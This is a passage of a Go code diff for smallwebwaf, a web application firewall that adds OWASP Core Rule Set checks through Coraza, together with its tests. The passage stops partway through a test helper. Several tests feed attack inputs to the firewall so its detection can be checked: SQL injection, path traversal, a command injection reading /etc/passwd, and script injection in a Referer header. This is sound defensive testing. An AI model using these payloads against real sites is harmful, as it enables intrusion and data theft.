// or because it matched a ban rule or the CrowdSec decision list lists // or because it matched a ban rule, asked for a trap path or the
// its client, either of which bans the client. // CrowdSec decision list lists its client, each of which bans the
// client.
ActionBanned = "banned" ActionBanned = "banned"
// ActionRuleBlocked is a request refused because it matched a block // ActionRuleBlocked is a request refused because it matched a block
// rule. // rule.
ActionRuleBlocked = "rule_blocked" ActionRuleBlocked = "rule_blocked"
// ActionWAFBlocked is a request refused because the Core Rule Set
// scored it at or over SWWAF_WAF_ANOMALY_THRESHOLD.
ActionWAFBlocked = "waf_blocked"
// ActionDenied is a request refused because its client is in // ActionDenied is a request refused because its client is in
// SWWAF_DENY_NETS, in a blocklist while SWWAF_BLOCKLIST_ACTION is deny, // SWWAF_DENY_NETS, in a blocklist while SWWAF_BLOCKLIST_ACTION is deny,
// or listed by a DNSBL zone, or scored a hit by AbuseIPDB, while // or listed by a DNSBL zone, or scored a hit by AbuseIPDB, while
@@ -48,9 +52,14 @@ const (
) )
// OffenceLimit is the offence a request line names for a request that // OffenceLimit is the offence a request line names for a request that
// broke a rate limit, or whose bytes broke a byte limit. // broke a rate limit or the error burst, or whose bytes broke a byte
// limit.
const OffenceLimit = "limit" const OffenceLimit = "limit"
// LimitHitErrorBurst is the limit_hit a request line names for a request
// that broke the error burst.
const LimitHitErrorBurst = "error_burst"
// timeLayout is RFC 3339 with milliseconds. // timeLayout is RFC 3339 with milliseconds.
const timeLayout = "2006-01-02T15:04:05.000Z07:00" const timeLayout = "2006-01-02T15:04:05.000Z07:00"
@@ -117,8 +126,8 @@ type Line struct {
Action string `json:"action"` Action string `json:"action"`
// WouldAction is, in observe mode, the action enforce mode would have // WouldAction is, in observe mode, the action enforce mode would have
// taken with a request it would have refused: ActionDenied, // taken with a request it would have refused: ActionDenied,
// ActionBanned, ActionCountryDenied, ActionRateLimited or // ActionBanned, ActionCountryDenied, ActionRateLimited,
// ActionRuleBlocked. // ActionRuleBlocked or ActionWAFBlocked.
WouldAction string `json:"would_action,omitempty"` WouldAction string `json:"would_action,omitempty"`
// LimitPercent and LimitPercentSetting are, for a request the rate // LimitPercent and LimitPercentSetting are, for a request the rate
// limits counted whose client a biased threshold gives a percentage of // limits counted whose client a biased threshold gives a percentage of
@@ -136,9 +145,15 @@ type Line struct {
Counts ratelimit.Counts `json:"counts,omitzero"` Counts ratelimit.Counts `json:"counts,omitzero"`
// RuleIDs are the ids of the rule file rules the request matched. // RuleIDs are the ids of the rule file rules the request matched.
RuleIDs []string `json:"rule_ids,omitempty"` RuleIDs []string `json:"rule_ids,omitempty"`
// WAFRuleIDs are the ids of the Core Rule Set's rules the request
// matched, and WAFScore its anomaly score, nil for a request the Core
// Rule Set did not inspect.
WAFRuleIDs []int `json:"waf_rule_ids,omitempty"`
WAFScore *int `json:"waf_score,omitempty"`
// LimitHit is the window whose limit the request went over, named as // LimitHit is the window whose limit the request went over, named as
// Counts names its count: minute, hour or day for a rate limit, and // Counts names its count: minute, hour or day for a rate limit, and
// minute_bytes, hour_bytes or day_bytes for a byte limit. // minute_bytes, hour_bytes or day_bytes for a byte limit; or
// LimitHitErrorBurst for the error burst.
LimitHit string `json:"limit_hit,omitempty"` LimitHit string `json:"limit_hit,omitempty"`
// Reputation are the URLs of the blocklists that list the client, then // Reputation are the URLs of the blocklists that list the client, then
// that of the CrowdSec decision list when it does, then the DNSBL zones // that of the CrowdSec decision list when it does, then the DNSBL zones
@@ -152,13 +167,15 @@ type Line struct {
BanExpires string `json:"ban_expires,omitempty"` BanExpires string `json:"ban_expires,omitempty"`
// The timings, in milliseconds. DurationChecks is the time until the // The timings, in milliseconds. DurationChecks is the time until the
// checks were done. DurationUpstreamConnect, DurationUpstreamFirstByte // checks were done, and DurationWAF the part of it the Core Rule Set
// and DurationUpstreamTotal run from when the request was handed to the // took. DurationUpstreamConnect, DurationUpstreamFirstByte and
// DurationUpstreamTotal run from when the request was handed to the
// app: until there was a connection to it, until the first byte of its // app: until there was a connection to it, until the first byte of its
// answer arrived, and until the end. Each but DurationTotal is nil for // answer arrived, and until the end. Each but DurationTotal is nil for
// a request that did not get that far. // a request that did not get that far.
DurationTotal float64 `json:"duration_total"` DurationTotal float64 `json:"duration_total"`
DurationChecks *float64 `json:"duration_checks,omitempty"` DurationChecks *float64 `json:"duration_checks,omitempty"`
DurationWAF *float64 `json:"duration_waf,omitempty"`
DurationUpstreamConnect *float64 `json:"duration_upstream_connect,omitempty"` DurationUpstreamConnect *float64 `json:"duration_upstream_connect,omitempty"`
DurationUpstreamFirstByte *float64 `json:"duration_upstream_first_byte,omitempty"` DurationUpstreamFirstByte *float64 `json:"duration_upstream_first_byte,omitempty"`
DurationUpstreamTotal *float64 `json:"duration_upstream_total,omitempty"` DurationUpstreamTotal *float64 `json:"duration_upstream_total,omitempty"`
+13 -6
View File
@@ -396,16 +396,23 @@ func (rule Rule) matches(r *http.Request) bool {
return rule.regex.MatchString(value(rule.Target, r)) return rule.regex.MatchString(value(rule.Target, r))
} }
// Path returns r's path as the client sent it, before any decoding or
// re-encoding, up to the first ?: what a path rule is matched against.
func Path(r *http.Request) string {
path, _, _ := strings.Cut(pathAndQuery(r), "?")
return path
}
// value returns what a rule with target, other than uri, is matched // value returns what a rule with target, other than uri, is matched
// against in r: the path and the query as the client sent them, before // against in r: the path, as Path gives it, and the query as the client
// any decoding or re-encoding, split at the first ?, and a header's values // sent it, before any decoding or re-encoding, after the first ?, and a
// joined by ", ", as HTTP joins those of a header sent more than once. // header's values joined by ", ", as HTTP joins those of a header sent
// more than once.
func value(target string, r *http.Request) string { func value(target string, r *http.Request) string {
switch target { switch target {
case "path": case "path":
path, _, _ := strings.Cut(pathAndQuery(r), "?") return Path(r)
return path
case "query": case "query":
_, query, _ := strings.Cut(pathAndQuery(r), "?") _, query, _ := strings.Cut(pathAndQuery(r), "?")
+6 -4
View File
@@ -679,8 +679,8 @@ func (f *bansFile) check(data []byte) error {
} }
// check refuses a client without its address, which would count nobody's // check refuses a client without its address, which would count nobody's
// requests, or with requests or bytes in a window but no start, which // requests, or with requests, bytes or refusals in a window but no start,
// would drop them and give the client a fresh allowance. // which would drop them and give the client a fresh allowance.
func (f *clientsFile) check([]byte) error { func (f *clientsFile) check([]byte) error {
for i, client := range f.Clients { for i, client := range f.Clients {
switch { switch {
@@ -698,6 +698,8 @@ func (f *clientsFile) check([]byte) error {
return missing(i, "hour_bytes.start") return missing(i, "hour_bytes.start")
case countsWithoutStart(client.DayBytes): case countsWithoutStart(client.DayBytes):
return missing(i, "day_bytes.start") return missing(i, "day_bytes.start")
case countsWithoutStart(client.MinuteRefusals):
return missing(i, "minute_refusals.start")
} }
} }
@@ -898,8 +900,8 @@ func missingFromCounter(counter anomaly.Counter) string {
} }
} }
// countsWithoutStart reports whether b holds requests, or bytes, but no // countsWithoutStart reports whether b holds requests, bytes or refusals
// start, which places them in time. // but no start, which places them in time.
func countsWithoutStart(b ratelimit.Buckets) bool { func countsWithoutStart(b ratelimit.Buckets) bool {
return b.Start.IsZero() && (b.Current != 0 || b.Previous != 0) return b.Start.IsZero() && (b.Current != 0 || b.Previous != 0)
} }
+9
View File
@@ -639,6 +639,15 @@ func TestEntryWithoutAFieldItNeedsStopsTheStart(t *testing.T) {
} }
} }
func TestClientWithRefusalsInTheMinuteWithoutTheirStartStopsTheStart(t *testing.T) {
t.Parallel()
wantRefused(t, clientsJSON,
`{"version": 1, "clients": [{"client": "203.0.113.9/32", `+
`"minute_refusals": {"current": 2}}]}`,
`: entry 1 has no "minute_refusals.start"`)
}
func TestReputationJSONEntryWithoutAFieldItNeedsStopsTheStart(t *testing.T) { func TestReputationJSONEntryWithoutAFieldItNeedsStopsTheStart(t *testing.T) {
t.Parallel() t.Parallel()
+336
View File
@@ -0,0 +1,336 @@
// Package waf runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
// method, the URL with its query and the headers of a request, and on its
// body while SWWAF_WAF_BODY_LIMIT is set, with the six changes smallwebwaf
// makes to it, as "Attack detection" under "Configuration surface" in
// SPEC.md describes them. It reads no response.
//
// smallwebwaf writes only to its state directory, so Coraza is built with
// its no_fs_access tag, as the Dockerfile and script/build build it: of a
// file in a multipart body, Coraza then counts the bytes instead of
// writing them to the system's temporary directory.
package waf
import (
"fmt"
"io"
"net/http"
"net/netip"
"slices"
"strconv"
"strings"
coreruleset "github.com/corazawaf/coraza-coreruleset/v4"
"github.com/corazawaf/coraza/v3"
"github.com/corazawaf/coraza/v3/experimental/plugins/plugintypes"
"github.com/corazawaf/coraza/v3/types"
)
// directives are the Core Rule Set as smallwebwaf runs it, with the
// paranoia level for %d, and bodyDirectives for %s while
// SWWAF_WAF_BODY_LIMIT is set. Each rule smallwebwaf adds has an id from
// 900000 to 900999, the ids the Core Rule Set keeps for the rules that set
// it up, which SWWAF_WAF_DISABLED_RULES refuses, so that no setting
// switches one off. Coraza joins a line ending in \ to the next, without
// the spaces at the start of the next.
const directives = `
# The engine only detects. smallwebwaf compares the request's anomaly
# score with SWWAF_WAF_ANOMALY_THRESHOLD itself, in block and detect mode
# alike. It reads no body, unless bodyDirectives switch that on.
SecRuleEngine DetectionOnly
SecRequestBodyAccess Off
SecResponseBodyAccess Off
Include @crs-setup.conf.example
SecAction "id:900000,phase:1,pass,nolog,\
setvar:tx.blocking_paranoia_level=%d"
# The first change: PUT, PATCH and DELETE are allowed besides GET, HEAD,
# POST and OPTIONS.
SecAction "id:900200,phase:1,pass,nolog,\
setvar:'tx.allowed_methods=GET HEAD POST OPTIONS PUT PATCH DELETE'"
# The second: Expect and Content-Encoding are taken off the Core Rule Set's
# list of the headers it refuses. Content-Encoding goes back on it for a
# body the Core Rule Set reads (900260 in bodyDirectives).
SecAction "id:900250,phase:1,pass,nolog,\
setvar:'tx.restricted_headers_basic=/proxy/ /lock-token/ /content-range/ \
/if/ /x-http-method-override/ /x-http-method/ /x-method-override/ \
/x-middleware-subrequest/'"
%s
# Coraza keeps the first 1000 query parameters of a request, and the first
# 1000 fields of a form data or JSON body, and drops the rest, which no
# rule then reads, so a request with more adds 5 to the score, as a rule
# the Core Rule Set rates critical does. Coraza's recommended
# configuration refuses such a request in its rules 200004 and 200005.
# This rule runs once the body is read, and before the Core Rule Set adds
# up the score in the same phase.
SecArgumentsLimit 1000
SecRule ARGUMENTS_LIMIT_REACHED "@eq 1" "id:900300,phase:2,pass,\
severity:'CRITICAL',setvar:'tx.inbound_anomaly_score_pl1=+5'"
# The sixth: only the rules for requests are loaded, and no response is
# inspected.
Include @owasp_crs/REQUEST-*.conf
# The third: redirect_uri is not checked for a URL naming an IP address or
# localhost. Coraza matches a parameter name here, and in the fourth,
# without regard to case. ARGS holds the fields of a form data or multipart
# body Coraza reads as well as the query parameters, so a field of one of
# these names is left out too.
SecRuleUpdateTargetById 931100 "!ARGS:redirect_uri"
SecRuleUpdateTargetById 934110 "!ARGS:redirect_uri"
# The fourth: the query parameters in which gitea sends names within a
# repository or its own records, or a page of its own site, are not
# checked against the lists of system files, shell paths and command
# names. Coraza takes one rule id per directive.
SecRuleUpdateTargetById 930120 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
!ARGS:artifactName|!ARGS:redirect_to"
SecRuleUpdateTargetById 932160 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
!ARGS:artifactName|!ARGS:redirect_to"
SecRuleUpdateTargetById 932260 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
!ARGS:artifactName|!ARGS:redirect_to"
# The fifth, for Referer: it is not checked for a Unix command without
# arguments, or for Java starting a process. The cookies are left out in
# Inspect.
SecRuleUpdateTargetById 932340 "!REQUEST_HEADERS:Referer"
SecRuleUpdateTargetById 944110 "!REQUEST_HEADERS:Referer"
`
// bodyDirectives have the Core Rule Set read the part of a request body
// Inspect gives it, which is at most one byte longer than the limit, up to
// the limit, %d bytes, and read JSON and XML as Coraza's recommended
// configuration has it in its rules 200000, 200001 and 200006, with
// text/json, and any application or text type ending in +xml or +json,
// besides; form data and multipart Coraza knows by itself. %% stands for
// a % Coraza reads.
const bodyDirectives = `
SecRequestBodyAccess On
SecRequestBodyLimit %d
SecRequestBodyLimitAction ProcessPartial
SecRule REQUEST_HEADERS:Content-Type \
"@rx ^(?:application|text)/(?:[a-z0-9.-]+[+])?xml" \
"id:900410,phase:1,pass,nolog,t:none,t:lowercase,ctl:requestBodyProcessor=XML"
SecRule REQUEST_HEADERS:Content-Type \
"@rx ^(?:application|text)/(?:[a-z0-9.-]+[+])?json" \
"id:900420,phase:1,pass,nolog,t:none,t:lowercase,ctl:requestBodyProcessor=JSON"
# The rest of the second change: Content-Encoding is refused again on a
# body of a kind the Core Rule Set reads, since a compressed body cannot be
# inspected.
SecRule REQBODY_PROCESSOR "@rx ^(?:URLENCODED|MULTIPART|JSON|XML)$" \
"id:900260,phase:1,pass,nolog,\
setvar:'tx.restricted_headers_basic=%%{tx.restricted_headers_basic} \
/content-encoding/'"
# A body Coraza fails to parse (900440), and a multipart body that fails
# its strict checks (900450), each add 5 to the score, as a rule the Core
# Rule Set rates critical does: no rule reads what comes after the fault,
# which the app may still read. Coraza's recommended configuration refuses
# them in its rules 200002 and 200003. A multipart body the limit cuts
# before the colon of a part's header line, or between the carriage return
# and the line feed that end a part's header line or the empty line after
# its headers, adds 5 too, since Coraza takes the line the limit cuts for a
# malformed header. Coraza parses any form data body.
SecRule REQBODY_ERROR "!@eq 0" "id:900440,phase:2,pass,severity:'CRITICAL',\
setvar:'tx.inbound_anomaly_score_pl1=+5'"
SecRule MULTIPART_STRICT_ERROR "!@eq 0" "id:900450,phase:2,pass,\
severity:'CRITICAL',setvar:'tx.inbound_anomaly_score_pl1=+5'"
`
// cookiesNotRead are the cookies the Core Rule Set reads a request
// without, the rest of the fifth change.
//
//nolint:gochecknoglobals // a constant cannot be a list
var cookiesNotRead = []string{"gitea_flash", "redirect_to"}
// Params are what New needs.
type Params struct {
// ParanoiaLevel is SWWAF_WAF_PARANOIA_LEVEL, from 1 to 4.
ParanoiaLevel int
// DisabledRules are the ids of the rules switched off
// (SWWAF_WAF_DISABLED_RULES).
DisabledRules []int
// BodyLimit is the most of a request body the Core Rule Set reads
// (SWWAF_WAF_BODY_LIMIT), 0 while it is off and it reads none.
BodyLimit int64
}
// CoreRuleSet is the Core Rule Set, ready to inspect requests. It is safe
// for concurrent use.
type CoreRuleSet struct {
waf coraza.WAF
bodyLimit int64
}
// New returns the Core Rule Set with the six changes, at params'
// paranoia level, without the rules it switches off, and reading request
// bodies up to params' limit.
func New(params Params) (*CoreRuleSet, error) {
body := ""
if params.BodyLimit > 0 {
body = fmt.Sprintf(bodyDirectives, params.BodyLimit)
}
text := fmt.Sprintf(directives, params.ParanoiaLevel, body)
if len(params.DisabledRules) > 0 {
ids := make([]string, len(params.DisabledRules))
for i, id := range params.DisabledRules {
ids[i] = strconv.Itoa(id)
}
text += "SecRuleRemoveById " + strings.Join(ids, " ") + "\n"
}
waf, err := coraza.NewWAF(coraza.NewWAFConfig().
WithRootFS(coreruleset.FS).
WithDirectives(text))
if err != nil {
return nil, fmt.Errorf("load the Core Rule Set: %w", err)
}
return &CoreRuleSet{waf: waf, bodyLimit: params.BodyLimit}, nil
}
// Result is what the Core Rule Set found in a request.
type Result struct {
// RuleIDs are the ids of the rules that matched, in the order they
// ran.
RuleIDs []int
// Score is the request's anomaly score: what those rules add up to.
Score int
}
// Inspect runs the Core Rule Set on r, a request from client: on its
// method, its URL with the query, and its headers, the Cookie header
// without the cookies in cookiesNotRead, and on body, r's body as the
// caller has it, as readBody reads it. It returns what it found, what it
// read of body, which the app is still to be sent, and the error that
// ended the reading early, if one did.
func (c *CoreRuleSet) Inspect(
r *http.Request, client netip.Addr, body io.Reader,
) (Result, []byte, error) {
tx := c.waf.NewTransaction()
// Closing would remove the files Coraza wrote, and it writes none.
defer func() { _ = tx.Close() }()
tx.ProcessConnection(client.String(), 0, "", 0)
tx.ProcessURI(r.URL.String(), r.Method, r.Proto)
for name, values := range r.Header {
for _, value := range values {
if name == "Cookie" {
value = withoutCookiesNotRead(value)
if value == "" {
continue // it held those cookies alone
}
}
tx.AddRequestHeader(name, value)
}
}
// Go's server takes these two out of the headers.
tx.AddRequestHeader("Host", r.Host)
for _, encoding := range r.TransferEncoding {
tx.AddRequestHeader("Transfer-Encoding", encoding)
}
tx.ProcessRequestHeaders()
read, err := c.readBody(tx, body)
// This reads the body in memory and runs the rest of the rules, and
// cannot fail.
_, _ = tx.ProcessRequestBody()
var ids []int
for _, matched := range tx.MatchedRules() {
// The rules that look for attacks have a severity; the others set
// the Core Rule Set up and add up the score.
rule := matched.Rule()
if rule.Severity() != types.RuleSeverityUnset {
ids = append(ids, rule.ID())
}
}
return Result{RuleIDs: ids, Score: score(tx)}, read, err
}
// readBody reads body, the body of the request in tx, which has run on
// the request's headers, while SWWAF_WAF_BODY_LIMIT is set and the body is
// of a kind the Core Rule Set reads: form data and multipart, of which it
// reads the first c.bodyLimit bytes, and JSON and XML, which it reads only
// when they are no longer than that, since they cannot be read in part.
// readBody reads one byte past the limit, to tell which they are, gives
// the Core Rule Set what it reads, and returns what it read and the error
// that ended the reading early, if one did.
func (c *CoreRuleSet) readBody(tx types.Transaction, body io.Reader) ([]byte, error) {
if c.bodyLimit == 0 {
return nil, nil
}
inPart := false
// How the body is read is a variable of the transaction, which only
// Coraza's interface for plugins reads.
state := tx.(plugintypes.TransactionState) //nolint:forcetypeassert // every one is
switch state.Variables().RequestBodyProcessor().Get() {
case "URLENCODED", "MULTIPART":
inPart = true
case "JSON", "XML":
default:
return nil, nil
}
read, err := io.ReadAll(io.LimitReader(body, c.bodyLimit+1))
if inPart || (err == nil && int64(len(read)) <= c.bodyLimit) {
// Coraza holds what it reads of the body in memory, up to the
// limit, so this cannot fail.
_, _, _ = tx.WriteRequestBody(read)
}
return read, err
}
// score returns the anomaly score the Core Rule Set added up in tx, a
// transaction it has run, or 0 if a rule that adds it up is switched off.
func score(tx types.Transaction) int {
// The score is in a variable of the transaction, which only Coraza's
// interface for plugins reads.
state := tx.(plugintypes.TransactionState) //nolint:forcetypeassert // every one is
values := state.Variables().TX().Get("blocking_inbound_anomaly_score")
if len(values) == 0 {
return 0
}
n, _ := strconv.Atoi(values[0])
return n
}
// withoutCookiesNotRead returns value, a Cookie header's, without the
// cookies in cookiesNotRead.
func withoutCookiesNotRead(value string) string {
var kept []string
for cookie := range strings.SplitSeq(value, ";") {
name, _, _ := strings.Cut(strings.TrimSpace(cookie), "=")
if !slices.Contains(cookiesNotRead, name) {
kept = append(kept, cookie)
}
}
return strings.Join(kept, ";")
}
+688
View File
@@ -0,0 +1,688 @@
package waf_test
import (
"net/http"
"net/http/httptest"
"net/netip"
"net/url"
"path/filepath"
"reflect"
"strconv"
"strings"
"testing"
"sneak.berlin/go/smallwebwaf/internal/waf"
)
// defaultDisabledRules are the rules SWWAF_WAF_DISABLED_RULES switches off
// by default.
//
//nolint:gochecknoglobals // a constant cannot be a list
var defaultDisabledRules = []int{920340, 920420, 920440, 920640, 930130, 930140}
// newCoreRuleSet returns the Core Rule Set at paranoia level level, with
// the rules in disabled switched off.
func newCoreRuleSet(t *testing.T, level int, disabled ...int) *waf.CoreRuleSet {
t.Helper()
crs, err := waf.New(waf.Params{ParanoiaLevel: level, DisabledRules: disabled})
if err != nil {
t.Fatalf("load the Core Rule Set: %v", err)
}
return crs
}
// request is a request a test inspects: its method, its target, the path
// and the query as a client sends them, and its headers, each written
// "Name: value".
type request struct {
method, target string
headers []string
}
// get is a GET request for target with headers.
func get(target string, headers ...string) request {
return request{http.MethodGet, target, headers}
}
// inspect returns what crs finds in r, sent to git.example by a browser,
// whose Host, User-Agent and Accept r.headers may replace.
func inspect(t *testing.T, crs *waf.CoreRuleSet, r request) waf.Result {
t.Helper()
result, _ := inspectBody(t, crs, r, "")
return result
}
// inspectBody is inspect for r with body, which is announced with its
// Content-Length unless it is "", and returns what crs read of body too.
func inspectBody(
t *testing.T, crs *waf.CoreRuleSet, r request, body string,
) (waf.Result, string) {
t.Helper()
req := httptest.NewRequestWithContext(t.Context(), r.method,
"http://git.example"+r.target, strings.NewReader(body))
req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:131.0) "+
"Gecko/20100101 Firefox/131.0")
req.Header.Set("Accept", "text/html")
if body != "" {
req.Header.Set("Content-Length", strconv.Itoa(len(body)))
}
for _, header := range r.headers {
// Go's server keeps Host and Transfer-Encoding out of the headers.
name, value, _ := strings.Cut(header, ": ")
switch name {
case "Host":
req.Host = value
case "Transfer-Encoding":
req.TransferEncoding = []string{value}
default:
req.Header.Set(name, value)
}
}
result, read, err := crs.Inspect(req, netip.MustParseAddr("203.0.113.9"), req.Body)
if err != nil {
t.Fatalf("read the body: %v", err)
}
return result, string(read)
}
// wantResult checks what crs finds in r.
func wantResult(t *testing.T, crs *waf.CoreRuleSet, r request, want waf.Result) {
t.Helper()
if got := inspect(t, crs, r); !reflect.DeepEqual(got, want) {
t.Errorf("%s %s %q: %+v, want %+v", r.method, r.target, r.headers, got, want)
}
}
// matched is the result of a request that the rules ids match, each of
// them a critical one, which adds 5 to the score.
func matched(ids ...int) waf.Result {
const critical = 5
return waf.Result{RuleIDs: ids, Score: critical * len(ids)}
}
// atDefaults returns the Core Rule Set as smallwebwaf runs it by default.
func atDefaults(t *testing.T) *waf.CoreRuleSet {
t.Helper()
return newCoreRuleSet(t, 1, defaultDisabledRules...)
}
// wantChange checks that crs lets through passes, a gitea request one of
// the six changes is for, and still finds result in refused, a request
// like it that the change is not for.
func wantChange(
t *testing.T, crs *waf.CoreRuleSet, passes, refused request, result waf.Result,
) {
t.Helper()
wantResult(t, crs, passes, waf.Result{})
wantResult(t, crs, refused, result)
}
func TestPutPatchAndDeleteAreAllowed(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
for _, r := range []request{
{http.MethodPut, "/v2/owner/image/blobs/uploads/1?digest=sha256:ab", nil},
{http.MethodPatch, "/api/v1/repos/owner/repo/issues/1", nil},
{http.MethodDelete, "/api/v1/repos/owner/repo/branches/old", nil},
} {
wantChange(t, crs, r, request{http.MethodTrace, r.target, nil}, matched(911100))
}
wantChange(t, crs, get("/"), request{"PROPFIND", "/", nil}, matched(911100))
}
func TestExpectAndContentEncodingAreAllowed(t *testing.T) {
t.Parallel()
const (
pushType = "Content-Type: application/x-git-receive-pack-request"
fetchType = "Content-Type: application/x-git-upload-pack-request"
length = "Content-Length: 1024"
push = "/owner/repo.git/git-receive-pack"
fetch = "/owner/repo.git/git-upload-pack"
)
crs := atDefaults(t)
wantResult(t, crs,
request{http.MethodPost, push, []string{pushType, length, "Expect: 100-continue"}},
waf.Result{})
wantResult(t, crs,
request{http.MethodPost, fetch, []string{
fetchType, length, "Content-Encoding: gzip",
}},
waf.Result{})
// Every other header on the Core Rule Set's list stays refused.
for _, header := range []string{
"Proxy: http://proxy.example",
"Lock-Token: token",
"Content-Range: bytes 0-1023/1024",
"If: token",
"X-HTTP-Method-Override: DELETE",
"X-HTTP-Method: DELETE",
"X-Method-Override: DELETE",
"X-Middleware-Subrequest: middleware",
} {
wantResult(t, crs,
request{http.MethodPost, push, []string{pushType, length, header}},
matched(920450))
}
}
func TestTransferEncodingIsRead(t *testing.T) {
t.Parallel()
// git sends a large push in chunks, with no Content-Length. Without
// Transfer-Encoding, that would be a POST without a length (920180).
wantResult(t, atDefaults(t),
request{http.MethodPost, "/owner/repo.git/git-receive-pack", []string{
"Content-Type: application/x-git-receive-pack-request",
"Transfer-Encoding: chunked",
}},
waf.Result{})
}
func TestMoreParametersThanCorazaKeepsIsAMatch(t *testing.T) {
t.Parallel()
const attack = "id=1'%20OR%20'1'='1"
crs := atDefaults(t)
// Coraza keeps 1000: an attack that is the 1000th is read, and one
// after it is not, but the request is a match all the same.
wantResult(t, crs, get("/?"+strings.Repeat("a=1&", 999)+attack), matched(942100))
wantResult(t, crs, get("/?"+strings.Repeat("a=1&", 1000)+attack), matched(900300))
// So it is with the fields of a form data or JSON body.
crs = readingBodies(t)
for _, tc := range []struct{ header, body string }{
{formData, strings.Repeat("a=1&", 999) + attack},
{jsonBody, `{"a":[` + strings.Repeat("1,", 998) + `1],"id":"` + injection + `"}`},
} {
wantBody(t, crs, post(tc.header), tc.body, matched(942100), tc.body)
}
for _, tc := range []struct{ header, body string }{
{formData, strings.Repeat("a=1&", 1000) + attack},
{jsonBody, `{"a":[` + strings.Repeat("1,", 999) + `1],"id":"` + injection + `"}`},
} {
wantBody(t, crs, post(tc.header), tc.body, matched(900300), tc.body)
}
}
func TestRedirectURIMayNameALocalAddress(t *testing.T) {
t.Parallel()
const oauth = "/login/oauth/authorize?client_id=tea&response_type=code&"
crs := atDefaults(t)
wantChange(t, crs, get(oauth+"redirect_uri=http://127.0.0.1:52341/"),
get(oauth+"next=http://127.0.0.1:52341/"), matched(931100, 934110))
wantChange(t, crs, get(oauth+"redirect_uri=http://localhost:52341/"),
get(oauth+"next=http://localhost:52341/"), matched(934110))
}
func TestParametersGiteaSendsNamesInSkipTheListsOfFilesPathsAndCommands(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
for _, value := range []struct {
name string
// result is what a parameter that is not one of gitea's gets.
result waf.Result
}{
// A file on the list of system files.
{".gitignore", matched(930120)},
// A command's name, after a directory on the list of shell paths.
{"bin/docker-entrypoint", matched(932260, 932160)},
} {
for _, parameter := range []string{
"path", "files", "skip-to", "sub_path", "ref", "sha", "branch", "workflow",
"artifactName", "redirect_to",
} {
wantChange(t, crs, get("/?"+parameter+"="+value.name),
get("/?q="+value.name), value.result)
}
}
// What only those rules refuse gets through there too, but path
// traversal and SQL injection are still refused.
wantChange(t, crs, get("/?path=|cat%20/etc/passwd"), get("/?q=|cat%20/etc/passwd"),
matched(930120, 932160))
wantResult(t, crs, get("/?path=../../etc/passwd"),
waf.Result{RuleIDs: []int{930100, 930110}, Score: 20})
wantResult(t, crs, get("/?path=1'%20OR%20'1'='1"), matched(942100))
}
func TestParameterNamesAreMatchedWithoutRegardToCase(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
wantChange(t, crs, get("/?Path=.gitignore"), get("/?q=.gitignore"), matched(930120))
wantChange(t, crs, get("/?REDIRECT_URI=http://127.0.0.1:52341/"),
get("/?next=http://127.0.0.1:52341/"), matched(931100, 934110))
}
func TestCookiesGiteaFlashAndRedirectToAreNotRead(t *testing.T) {
t.Parallel()
const (
flash = "success%3DFile%2Bpackage.json%2Bdeleted"
redirectTo = "%2Fowner%2Frepo%2Fsrc%2Fbranch%2Fmain%2Fpackage.json"
)
crs := atDefaults(t)
wantChange(t, crs, get("/owner/repo", "Cookie: gitea_flash="+flash),
get("/owner/repo", "Cookie: flash="+flash), matched(930120))
wantChange(t, crs, get("/", "Cookie: redirect_to="+redirectTo),
get("/", "Cookie: redirect="+redirectTo), matched(930120))
// Among other cookies, which are read.
wantChange(t, crs,
get("/", "Cookie: lang=en-US; gitea_flash="+flash+"; redirect_to="+redirectTo+
"; i_like_gitea=abc"),
get("/", "Cookie: lang=en-US; gitea_flash="+flash+"; redirect="+redirectTo+
"; i_like_gitea=abc"),
matched(930120))
}
func TestRefererIsNotCheckedForACommandOrJavaStartingAProcess(t *testing.T) {
t.Parallel()
const (
search = "https://git.example/explore/repos?q=env"
runtimeJava = "https://git.example/openjdk/jdk/src/branch/master/src/" +
"java.base/share/classes/java/lang/Runtime.java"
)
crs := atDefaults(t)
wantChange(t, crs, get("/", "Referer: "+search), get("/", "User-Agent: "+search),
matched(932340))
wantChange(t, crs, get("/", "Referer: "+runtimeJava),
get("/", "X-Page: "+runtimeJava), matched(944110))
// It is still checked for script and SQL injection.
wantResult(t, crs,
get("/", "Referer: https://git.example/?q=<script>alert(1)</script>"),
matched(941110, 941160))
wantResult(t, crs, get("/", "Referer: https://git.example/?q=1' OR '1'='1"),
matched(942100))
}
func TestEmptyHeaderIsRead(t *testing.T) {
t.Parallel()
// An empty User-Agent is a notice, which adds 2.
wantResult(t, atDefaults(t), get("/", "User-Agent: "),
waf.Result{RuleIDs: []int{920330}, Score: 2})
}
func TestParanoiaLevel(t *testing.T) {
t.Parallel()
// Accept-Charset is refused from paranoia level 2.
r := get("/", "Accept-Charset: utf-8")
wantResult(t, newCoreRuleSet(t, 1), r, waf.Result{})
wantResult(t, newCoreRuleSet(t, 2), r, matched(920451))
}
func TestEachDisabledRuleIsSwitchedOff(t *testing.T) {
t.Parallel()
// A method not allowed, and a Host that is an IP address, a warning,
// which adds 3.
r := request{http.MethodTrace, "/", []string{"Host: 192.0.2.1"}}
wantResult(t, newCoreRuleSet(t, 1), r,
waf.Result{RuleIDs: []int{911100, 920350}, Score: 8})
wantResult(t, newCoreRuleSet(t, 1, 920350, 911100), r, waf.Result{})
}
// bodyLimit is SWWAF_WAF_BODY_LIMIT in the tests that read bodies.
const bodyLimit = 8 << 10
// The Content-Type headers of the kinds of body the Core Rule Set reads.
const (
formData = "Content-Type: application/x-www-form-urlencoded"
multipart = "Content-Type: multipart/form-data; boundary=b"
jsonBody = "Content-Type: application/json"
xmlBody = "Content-Type: application/xml"
)
// injection is an SQL injection, which rule 942100 matches.
const injection = "1' OR '1'='1"
// readingBodies returns the Core Rule Set as smallwebwaf runs it by
// default, but reading bodies up to bodyLimit.
func readingBodies(t *testing.T) *waf.CoreRuleSet {
t.Helper()
crs, err := waf.New(waf.Params{
